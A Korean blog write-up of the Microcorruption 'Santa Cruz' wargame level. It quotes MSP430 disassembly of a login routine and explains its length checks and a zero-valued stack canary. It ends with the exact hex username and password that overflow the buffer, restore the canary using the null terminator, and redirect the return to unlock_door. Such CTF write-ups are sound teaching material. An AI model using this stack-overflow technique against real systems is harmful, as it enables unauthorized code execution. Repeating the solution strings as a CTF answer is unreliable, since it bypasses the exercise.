-
Santa CruzWargame/Microcorruption 2014. 8. 4. 17:05
login함수 앞부분을 살펴보면, Stack에 변수를 선언하는 부분이 있다.
무엇을 위한 변수인지는 분석을 통해 알아가자.
4550 <login> 4550: 0b12 push r11 4552: 0412 push r4 4554: 0441 mov sp, r4 4556: 2452 add #0x4, r4 4558: 3150 d8ff add #0xffd8, sp 455c: c443 faff mov.b #0x0, -0x6(r4) 4560: f442 e7ff mov.b #0x8, -0x19(r4) 4564: f440 1000 e8ff mov.b #0x10, -0x18(r4)
이후 이전 레벨들과는 다르게 username과 password 2가지를 입력받는다.
그뒤 사용자가 입력한 값들을 strcpy로 각각 복사해온다.
getsn에 길이 제한이 있긴 하지만, strcpy로 복사해오는 Stack의 크기보다는 크므로, 이번 문제도 overflow문제인 것을 알 수 있다.
456a: 3f40 8444 mov #0x4484 "Authentication now requires a username and password.", r15 456e: b012 2847 call #0x4728 <puts> 4572: 3f40 b944 mov #0x44b9 "Remember: both are between 8 and 16 characters.", r15 4576: b012 2847 call #0x4728 <puts> 457a: 3f40 e944 mov #0x44e9 "Please enter your username:", r15 457e: b012 2847 call #0x4728 <puts> 4582: 3e40 6300 mov #0x63, r14 4586: 3f40 0424 mov #0x2404, r15 458a: b012 1847 call #0x4718 <getsn> 458e: 3f40 0424 mov #0x2404, r15 4592: b012 2847 call #0x4728 <puts> 4596: 3e40 0424 mov #0x2404, r14 459a: 0f44 mov r4, r15 459c: 3f50 d6ff add #0xffd6, r15 45a0: b012 5447 call #0x4754 <strcpy> 45a4: 3f40 0545 mov #0x4505 "Please enter your password:", r15 45a8: b012 2847 call #0x4728 <puts> 45ac: 3e40 6300 mov #0x63, r14 45b0: 3f40 0424 mov #0x2404, r15 45b4: b012 1847 call #0x4718 <getsn> 45b8: 3f40 0424 mov #0x2404, r15 45bc: b012 2847 call #0x4728 <puts> 45c0: 0b44 mov r4, r11 45c2: 3b50 e9ff add #0xffe9, r11 45c6: 3e40 0424 mov #0x2404, r14 45ca: 0f4b mov r11, r15 45cc: b012 5447 call #0x4754 <strcpy>
함수 프롤로그에서 변수를 선언하던 부분을 기억하는가 ? 바로 아래에서 사용된다.
r15에는 저장된 변수의 값이, r11에는 사용자가 입력한 값의 길이가 들어간다.
이후 이를 비교하여 작다면 0x45fa로 점프, 크다면 종료한다.
45e4: 5f44 e8ff mov.b -0x18(r4), r15 45e8: 8f11 sxt r15 45ea: 0b9f cmp r15, r11 45ec: 0628 jnc #0x45fa <login+0xaa> 45ee: 1f42 0024 mov &0x2400, r15 45f2: b012 2847 call #0x4728 <puts> 45f6: 3040 4044 br #0x4440 <__stop_progExec__>
점프한 0x45fa이후에 또 아래처럼 비교문이 있다.
이번에는 사용자가 입력한 값이 변수에 있는 값보다 작은지 체크한다.
이를통해 각각 max, min을 체크하기 위한 변수라는 것을 알 수 있다.
45fa: 5f44 e7ff mov.b -0x19(r4), r15 45fe: 8f11 sxt r15 4600: 0b9f cmp r15, r11 4602: 062c jc #0x4610 <login+0xc0> 4604: 1f42 0224 mov &0x2402, r15 4608: b012 2847 call #0x4728 <puts> 460c: 3040 4044 br #0x4440 <__stop_progExec__>
즉, username을 j4ckp4rd, password를 1234로 입력했을때 메모리는 아래와 같다.
[ username ][ min ][ max ][ password ][ RET ]
이후 가뿐히 RET를 unlock_door의 주소로 덮어 클리어 하려는데...
login 함수의 마지막부분에 아래와 같은 비교문이 하나 더 있다.
464c: c493 faff tst.b -0x6(r4) 4650: 0624 jz #0x465e <login+0x10e> 4652: 1f42 0024 mov &0x2400, r15 4656: b012 2847 call #0x4728 <puts> 465a: 3040 4044 br #0x4440 <__stop_progExec__>
r4(r4는 RET의 주소다) - 0x6부분이 0일 아닐경우 종료되어 버린다...
이전레벨에서 봤던 Stack Cookie의 개념이 다시 등장했다.
단, 이번은 0이라는 점인데, strcpy는 nullbyte 기준으로 string을 복사해 오므로, string 가운데 nullbyte를 삽입할 순 없다.
대신 입력한 string의 마지막에 자동으로 nullbyte가 붙는데, 이점을 이용해야 한다.
즉, username을 입력할때 buffer overflow를 이용해 max, min, RET까지 덮어버리고
이후 password 입력시 nullbyte 이전까지 길이를 맞춰, 비교하는 RET - 0x6부분을 0으로 다시 덮어야 한다.
username : 414141414141414141414141414141414101ff41414141414141414141414141414141414141414141414a44
password : 4242424242424242424242424242424242
'Wargame > Microcorruption' 카테고리의 다른 글
Addis Ababa (0) 2014.08.14 Jakarta (0) 2014.08.11 Montevideo (0) 2014.07.31 Whitehorse (0) 2014.07.31 Johannesburg (0) 2014.07.31